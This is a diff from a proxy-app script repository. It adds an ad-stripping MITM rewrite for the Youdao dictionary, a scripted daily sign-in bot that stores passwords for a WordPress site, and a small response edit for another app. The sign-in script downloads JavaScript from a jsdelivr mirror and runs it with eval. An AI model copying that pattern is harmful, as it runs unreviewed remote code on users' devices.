i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +// API end diff --git a/Scripts/youdao/dict-youdao-ad.js b/Scripts/youdao/dict-youdao-ad.js new file mode 100644 index 00000000..7c550454 --- /dev/null +++ b/Scripts/youdao/dict-youdao-ad.js @@ -0,0 +1,28 @@ +/************************************* + + 项目名称:网易有道词典-首页净化,学习Tab界面净化,首页听读训练净化 + 使用声明:⚠️仅供参考,🈲转载与售卖! + + ************************************** + + [rewrite_local] +^https:\/\/dict\.youdao\.com\/(homepage\/promotion|course\/tab\/home|homepage\/tile) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/youdao/dict-youdao-ad.js + + [mitm] + hostname = dict.youdao.com + ************************************/ + +let obj = JSON.parse($response.body); +const url = $request.url; + +if (url.includes('/homepage/promotion')) { + obj.data.dataList = obj.data.dataList.filter(i => i.type === 'WOW'); +} else if (url.includes('/course/tab/home')) { + obj.data.tab.tabList = obj.data.tab.tabList.filter(i => i.title === '学库' || i.title === '四六级'); + obj.data.icon.iconList = obj.data.icon.iconList.filter(i => i.title === '实用英语'); + obj.data.fragmentList = obj.data.fragmentList.filter(i => i.type === 'GREAT_COURSE'); +} else if (url.includes('/homepage/tile')) { + obj.data.children = obj.data.children.filter(i => i.type === ''); +} + +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/yuchenios.js b/Scripts/yuchenios.js new file mode 100644 index 00000000..3638b870 --- /dev/null +++ b/Scripts/yuchenios.js @@ -0,0 +1,307 @@ +/* +------------------------------------------ +@Date: 2024.10.17 +@Description:雨晨ios 每日签到 +@Description:在boxjs填写账号#密码,多账号用&分割,如账号1#密码1&账号2#密码2 +------------------------------------------ + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ +const $ = new Env("雨晨ios签到"); +//notify +const notify = $.isNode() ? require('./sendNotify') : ''; +const ckName = "yuchenios_data"; +const userCookie = getEnvByNode(); +//用户多账号配置 +$.userIdx = 0, $.userList = [], $.notifyMsg = []; +//成功个数 +$.succCount = 0; +//debug +$.is_debug = ($.isNode() ? process.env.IS_DEDUG : $.getdata('is_debug')) || 'false'; +$.host = ($.isNode() ? process.env["yuchenios_host"] : $.getdata('yuchenios_host')) || 'yc.yuchengyouxi.com'; +//------------------------------------------ +async function main() { + for (let user of $.userList) { + //$.notifyMsg = [], $.title = ""; + try { + let token = await user.getToken(); + await user.Login(token); + if (user.ckStatus) { + let { points: pointF } = await user.getUserInfo(); + await user.signin(); + let { points: pointE, username } = await user.getUserInfo(); + $.notifyMsg.push(`用户: ${user.userName} 积分:${pointF}${pointE >= pointF ? "+" : ""}${pointE - 0 - pointF}`); + $.succCount++; + } else { + DoubleLog(`用户: ${user?.userName} 积分: 查询失败,用户需要去登录`) + } + } catch (e) { + throw e + } + } + $.title = `共${$.userList.length}个账号,成功${$.succCount}个,失败${$.userList.length - 0 - $.succCount}个` + //notify + await sendMsg($.notifyMsg.join("\n"), { $media: $.avatar }); +} + +//用户 +class UserInfo { + constructor(user) { + //默认属性 + this.index = ++$.userIdx; + this.token = "" || user.token || user; + this.userId = "" || user.userId; + this.avatar = user.avatar; + this.phone = user.phone; + this.password = user.password; + this.userName = phone_num(this.phone); + this.ckStatus = true; + //请求封装 + this.baseUrl = `https://${$.host}`; + this.headers = { + 'X-Requested-With': `XMLHttpRequest`, + 'Connection': `keep-alive`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Content-Type': `application/x-www-form-urlencoded; charset=UTF-8`, + 'Origin': `https://${$.host}`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Mobile/15E148 Safari/604.1`, + 'Cookie': "", + 'Host': `${$.host}`, + 'Referer': `https://${$.host}/`, + 'Accept-Language': `zh-CN,zh-Hans;q=0.9`, + 'Accept': `application/json, text/javascript, */*; q=0.01` + }; + this.getRandomTime = () => randomInt(1e3, 3e3); + this.fetch = async (o) => { + try { + if (typeof o === 'string') o = { url: o }; + if ((!o?.url) || o?.url?.startsWith("/") || o?.url?.startsWith(":")) o.url = this.baseUrl + (o.url || '') + const res = await Request({ ...o, headers: o.headers || this.headers, url: o.url || this.baseUrl }) + debug(res, o?.url?.replace(/\/+$/, '').substring(o?.url?.lastIndexOf('/') + 1)); + //if (res?.msg && res?.msg?.match(/请重新登录/)) throw new Error(res?.msg); + return res; + } catch (e) { + this.ckStatus = false; + $.error(`[${this.userName || this.index}]请求发起失败!${e}`); + } + } + } + //查询用户信息 + async getUserInfo() { + try { + const opts = { + url: `/mxq-backend-miniprogram-service/mxq/integral/member_info`, + } + let res = await this.fetch(opts); + this.userName = res?.data?.nickname; + return res?.data; + } catch (e) { + this.ckStatus = false; + $.error(`[${this.userName || this.userId}] 错误!${e}`); + } + } + //登录接口 + async Login(token) { + try { + const opts = { + url: "/wp-admin/admin-ajax.php", + type: "post", + dataType: "form", + resultType: "all", + body: `user_login=${this.phone}&password=${this.password}&rememberme=1&redirect=https%3A%2F%2Fyc.yuchengyouxi.com%2F&action=userlogin_form&token=${token}` + + } + let res = await this.fetch(opts); + let headers = ObjectKeys2LowerCase(res?.headers) ?? {}; + //对青龙进行兼容 + let session = Array.isArray(headers['set-cookie']) ? [...new Set(headers['set-cookie'])].join("") : headers['set-cookie']; + res = session?.match(/(wordpress_(sec|logged_in)_[a-f0-9]{32})=.+?;/g) ?? []; + this.session = res.join("") + if (!this.session) throw new Error("获取session失败!") + this.headers.Cookie = this.session; + $.info(`[${this.userName}] 登录成功`); + } catch (e) { + this.ckStatus = false; + $.error(`[${this.userName || this.userId}] 错误!${e}`); + } + } + //获取登录token + async getToken() { + try { + const opts = { + url: "/login", + } + let html = await this.fetch(opts); + + const query = $.Cheerio.load(html); + + const token = query('input[name="token"]').attr('value'); + if (!token) throw new Error("获取token失败"); + $.info(`[${this.userName}] 获取token成功!${token}`); + return token; + } catch (e) { + this.ckStatus = false; + $.error(`[${this.userName || this.userId}] 错误!${e}`); + } + } + //签到 + async signin() { + try { + const opts = { + url: "/wp-admin/admin-ajax.php", + type: "post", + dataType: "form", + body: `action=daily_sign` + } + let res = await this.fetch(opts); + $.info(`[${this.userName}] 签到:${res?.msg}`); + } catch (e) { + this.ckStatus = false; + $.error(`[${this.userName || this.userId}] 错误!${e}`); + } + } + //查询用户信息 + async getUserInfo() { + try { + const opts = { + url: "/users?tab=credit", + } + let html = await this.fetch(opts); + + const query = $.Cheerio.load(html); + + // 提取用户名 + const username = query('.name_user').text().trim(); + // 提取积分 + const points = query('.user_setting_num p:nth-child(2) em').text(); + return { username, points } + } catch (e) { + this.ckStatus = false; + $.error(`[${this.userName || this.userId}] 错误!${e}`); + } + } + +} + +function phone_num(phone_num) { if (phone_num.length == 11) { let data = phone_num.replace(/(\d{3})\d{4}(\d{4})/, "$1****$2"); return data; } else { return phone_num; } } + +//远程通知 +async function getNotice() { + const urls = [ + "https://fastly.jsdelivr.net/gh/Sliverkiss/GoodNight@main/notice.json", + "https://fastly.jsdelivr.net/gh/Sliverkiss/GoodNight@main/tip.json" + ]; + + try { + const responses = await Promise.all(urls.map(url => Request(url))); + responses.map(result => $.log(result?.notice || "获取通知失败")); + if (responses[0]?.notice) return true; + } catch (error) { + console.log(`❌获取通知时发生错误:${error}`); + } +} + +async function loadCheerio() { + let code = ($.isNode() ? require('cheerio') : $.getdata('Cheerio_code')) || ''; + if (code && Object.keys(code).length) { + $.info(`缓存中存在Cheerio模块,跳过下载`); + if($.isNode()) return code; + eval(code); + return createCheerio() + } + $.info(`开始下载Cheerio模块`); + return new Promise(async (resolve) => { + $.getScript('https://fastly.jsdelivr.net/gh/Sliverkiss/QuantumultX@main/Utils/cheerio.js').then((fn) => { + $.setdata(fn, "Cheerio_code"); + eval(fn); + const Cheerio = createCheerio(); + $.info(`Cheerio模块加载成功,请继续`); + resolve(Cheerio) + }) + }) +}; + +// 获取Cookie +async function getCookie() { + try { + if ($request && $request.method === 'OPTIONS') return; + const Body = $.toObj($request.body); + + if (!Body["unionid"]) throw new Error("获取token失败!参数缺失"); + + const newData = { + "userId": Body["unionid"] + } + const index = userCookie.findIndex(e => e.userId == newData.userId); + + userCookie[index] ? userCookie[index] = newData : userCookie.push(newData); + + $.setjson(userCookie, ckName); + let userName = index != -1 ? index : userCookie.length; + $.msg($.name, `🎉账号[${userName}]更新token成功!`, ``); + } catch (e) { + throw e; + } +} + +//处理node +function getEnvByNode() { + let ckList = $.isNode() ? process.env[ckName] : $.getdata(ckName); + // 判断ckList是否是数组 + if (!Array.isArray(ckList)) { + ckList = ckList.split("&"); // 将字符串分割为数组 + ckList = ckList.map(e => { + const [phone, password] = e.split('#'); + let newData = { + "userId": phone, + "phone": phone, + "password": password, + "userName": phone + }; + return newData; + }); + } + return ckList; +} + +//主程序执行入口 +!(async () => { + try { + if (typeof $request != "undefined") { + await getCookie(); + } else { + if (!(await getNotice())) throw new Error("网络状况不好,请重新尝试~") + await checkEnv(); + $.Cheerio = await loadCheerio(); + await main(); + } + } catch (e) { + throw e; + } +})() + .catch((e) => { $.logErr(e), $.msg($.name, `⛔️ script run error!`, e.message || e) }) + .finally(async () => { + $.done({}); + }); + +/** ---------------------------------固定不动区域----------------------------------------- */ +//prettier-ignore + +async function sendMsg(a, e) { a && ($.isNode() ? await notify.sendNotify($.name, a) : $.msg($.name, $.title || "", a, e)) } +function DoubleLog(o) { o && ($.log(`${o}`), $.notifyMsg.push(`${o}`)) }; +async function checkEnv() { try { if (!userCookie?.length) throw new Error("no available accounts found"); $.log(`\n[INFO] 检测到 ${userCookie?.length ?? 0} 个账号\n`), $.userList.push(...userCookie.map((o => new UserInfo(o))).filter(Boolean)) } catch (o) { throw o } } +function debug(g, e = "debug") { "true" === $.is_debug && ($.log(`\n-----------${e}------------\n`), $.log("string" == typeof g ? g : $.toStr(g) || `debug error => t=${g}`), $.log(`\n-----------${e}------------\n`)) } +//From xream's ObjectKeys2LowerCase +function ObjectKeys2LowerCase(obj) { return !obj ? {} : Object.fromEntries(Object.entries(obj).map(([k, v]) => [k.toLowerCase(), v])) }; +//From sliverkiss's Request +async function Request(t) { "string" == typeof t && (t = { url: t }); try { if (!t?.url) throw new Error("[URL][ERROR] 缺少 url 参数"); let { url: o, type: e, headers: r = {}, body: s, params: a, dataType: n = "form", resultType: u = "data" } = t; const p = e ? e?.toLowerCase() : "body" in t ? "post" : "get", c = o.concat("post" === p ? "?" + $.queryStr(a) : ""), i = t.timeout ? $.isSurge() ? t.timeout / 1e3 : t.timeout : 1e4; "json" === n && (r["Content-Type"] = "application/json;charset=UTF-8"); const y = "string" == typeof s ? s : (s && "form" == n ? $.queryStr(s) : $.toStr(s)), l = { ...t, ...t?.opts ? t.opts : {}, url: c, headers: r, ..."post" === p && { body: y }, ..."get" === p && a && { params: a }, timeout: i }, m = $.http[p.toLowerCase()](l).then((t => "data" == u ? $.toObj(t.body) || t.body : $.toObj(t) || t)).catch((t => $.log(`[${p.toUpperCase()}][ERROR] ${t}\n`))); return Promise.race([new Promise(((t, o) => setTimeout((() => o("当前请求已超时")), i))), m]) } catch (t) { console.log(`[${p.toUpperCase()}][ERROR] ${t}\n`) } } +//From chavyleung's Env.js +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise(((e, i) => { s.call(this, t, ((t, s, o) => { t ? i(t) : e(s) })) })) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.logLevels = { debug: 0, info: 1, warn: 2, error: 3 }, this.logLevelPrefixs = { debug: "[DEBUG] ", info: "[INFO] ", warn: "[WARN] ", error: "[ERROR] " }, this.logLevel = "info", this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null, ...s) { try { return JSON.stringify(t, ...s) } catch { return e } } getjson(t, e) { let s = e; if (this.getdata(t)) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise((e => { this.get({ url: t }, ((t, s, i) => e(i))) })) } runScript(t, e) { return new Promise((s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let o = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); o = o ? 1 * o : 20, o = e && e.timeout ? e.timeout : o; const [r, a] = i.split("@"), n = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: o }, headers: { "X-Key": r, Accept: "*/*" }, timeout: o }; this.post(n, ((t, e, i) => s(i))) })).catch((t => this.logErr(t))) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), o = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(e, o) : this.fs.writeFileSync(t, o) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let o = t; for (const t of i) if (o = Object(o)[t], void 0 === o) return s; return o } lodash_set(t, e, s) { return Object(t) !== t || (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce(((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}), t)[e[e.length - 1]] = s), t } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), o = s ? this.getval(s) : ""; if (o) try { const t = JSON.parse(o); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, o] = /^@(.*?)\.(.*?)$/.exec(e), r = this.getval(i), a = i ? "null" === r ? null : r || "{}" : "{}"; try { const e = JSON.parse(a); this.lodash_set(e, o, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const r = {}; this.lodash_set(r, o, t), s = this.setval(JSON.stringify(r), i) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return this.data = this.loaddata(), this.data[t]; default: return this.data && this.data[t] || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0; default: return this.data && this.data[e] || null } } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.cookie && void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))) } get(t, e = (() => { })) { switch (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), t.params && (t.url += "?" + this.queryStr(t.params)), void 0 === t.followRedirect || t.followRedirect || ((this.isSurge() || this.isLoon()) && (t["auto-redirect"] = !1), this.isQuanX() && (t.opts ? t.opts.redirection = !1 : t.opts = { redirection: !1 })), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, ((t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, i) })); break; case "Quantumult X": this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t => { const { statusCode: s, statusCode: i, headers: o, body: r, bodyBytes: a } = t; e(null, { status: s, statusCode: i, headers: o, body: r, bodyBytes: a }, r, a) }), (t => e(t && t.error || "UndefinedError"))); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", ((t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } })).then((t => { const { statusCode: i, statusCode: o, headers: r, rawBody: a } = t, n = s.decode(a, this.encoding); e(null, { status: i, statusCode: o, headers: r, rawBody: a, body: n }, n) }), (t => { const { message: i, response: o } = t; e(i, o, o && s.decode(o.rawBody, this.encoding)) })); break } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch (t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), void 0 === t.followRedirect || t.followRedirect || ((this.isSurge() || this.isLoon()) && (t["auto-redirect"] = !1), this.isQuanX() && (t.opts ? t.opts.redirection = !1 : t.opts = { redirection: !1 })), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, ((t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, i) })); break; case "Quantumult X": t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t => { const { statusCode: s, statusCode: i, headers: o, body: r, bodyBytes: a } = t; e(null, { status: s, statusCode: i, headers: o, body: r, bodyBytes: a }, r, a) }), (t => e(t && t.error || "UndefinedError"))); break; case "Node.js": let i = require("iconv-lite"); this.initGotEnv(t); const { url: o, ...r } = t; this.got[s](o, r).then((t => { const { statusCode: s, statusCode: o, headers: r, rawBody: a } = t, n = i.decode(a, this.encoding); e(null, { status: s, statusCode: o, headers: r, rawBody: a, body: n }, n) }), (t => { const { message: s, response: o } = t; e(s, o, o && i.decode(o.rawBody, this.encoding)) })); break } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let i = t[s]; null != i && "" !== i && ("object" == typeof i && (i = JSON.stringify(i)), e += `${s}=${i}&`) } return e = e.substring(0, e.length - 1), e } msg(e = t, s = "", i = "", o = {}) { const r = t => { const { $open: e, $copy: s, $media: i, $mediaMime: o } = t; switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { const r = {}; let a = t.openUrl || t.url || t["open-url"] || e; a && Object.assign(r, { action: "open-url", url: a }); let n = t["update-pasteboard"] || t.updatePasteboard || s; if (n && Object.assign(r, { action: "clipboard", text: n }), i) { let t, e, s; if (i.startsWith("http")) t = i; else if (i.startsWith("data:")) { const [t] = i.split(";"), [, o] = i.split(","); e = o, s = t.replace("data:", "") } else { e = i, s = (t => { const e = { JVBERi0: "application/pdf", R0lGODdh: "image/gif", R0lGODlh: "image/gif", iVBORw0KGgo: "image/png", "/9j/": "image/jpg" }; for (var s in e) if (0 === t.indexOf(s)) return e[s]; return null })(i) } Object.assign(r, { "media-url": t, "media-base64": e, "media-base64-mime": o ?? s }) } return Object.assign(r, { "auto-dismiss": t["auto-dismiss"], sound: t.sound }), r } case "Loon": { const s = {}; let o = t.openUrl || t.url || t["open-url"] || e; o && Object.assign(s, { openUrl: o }); let r = t.mediaUrl || t["media-url"]; return i?.startsWith("http") && (r = i), r && Object.assign(s, { mediaUrl: r }), console.log(JSON.stringify(s)), s } case "Quantumult X": { const o = {}; let r = t["open-url"] || t.url || t.openUrl || e; r && Object.assign(o, { "open-url": r }); let a = t["media-url"] || t.mediaUrl; i?.startsWith("http") && (a = i), a && Object.assign(o, { "media-url": a }); let n = t["update-pasteboard"] || t.updatePasteboard || s; return n && Object.assign(o, { "update-pasteboard": n }), console.log(JSON.stringify(o)), o } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, i, r(o)); break; case "Quantumult X": $notify(e, s, i, r(o)); break; case "Node.js": break }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } debug(...t) { this.logLevels[this.logLevel] <= this.logLevels.debug && (t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(`${this.logLevelPrefixs.debug}${t.map((t => t ?? String(t))).join(this.logSeparator)}`)) } info(...t) { this.logLevels[this.logLevel] <= this.logLevels.info && (t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(`${this.logLevelPrefixs.info}${t.map((t => t ?? String(t))).join(this.logSeparator)}`)) } warn(...t) { this.logLevels[this.logLevel] <= this.logLevels.warn && (t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(`${this.logLevelPrefixs.warn}${t.map((t => t ?? String(t))).join(this.logSeparator)}`)) } error(...t) { this.logLevels[this.logLevel] <= this.logLevels.error && (t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(`${this.logLevelPrefixs.error}${t.map((t => t ?? String(t))).join(this.logSeparator)}`)) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.map((t => t ?? String(t))).join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name}, 错误!`, e, t); break; case "Node.js": this.log("", `❗️${this.name}, 错误!`, e, void 0 !== t.message ? t.message : t, t.stack); break } } wait(t) { return new Promise((e => setTimeout(e, t))) } done(t = {}) { const e = ((new Date).getTime() - this.startTime) / 1e3; switch (this.log("", `🔔${this.name}, 结束! 🕛 ${e} 秒`), this.log(), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } }(t, e) } \ No newline at end of file diff --git a/Scripts/yx.js b/Scripts/yx.js new file mode 100644 index 00000000..17d387bd --- /dev/null +++ b/Scripts/yx.js @@ -0,0 +1,7 @@ +/** + * 悠洗APP + */ + +let obj = JSON.parse($response.body); +obj.data.topFunctionalArea.splice(5); 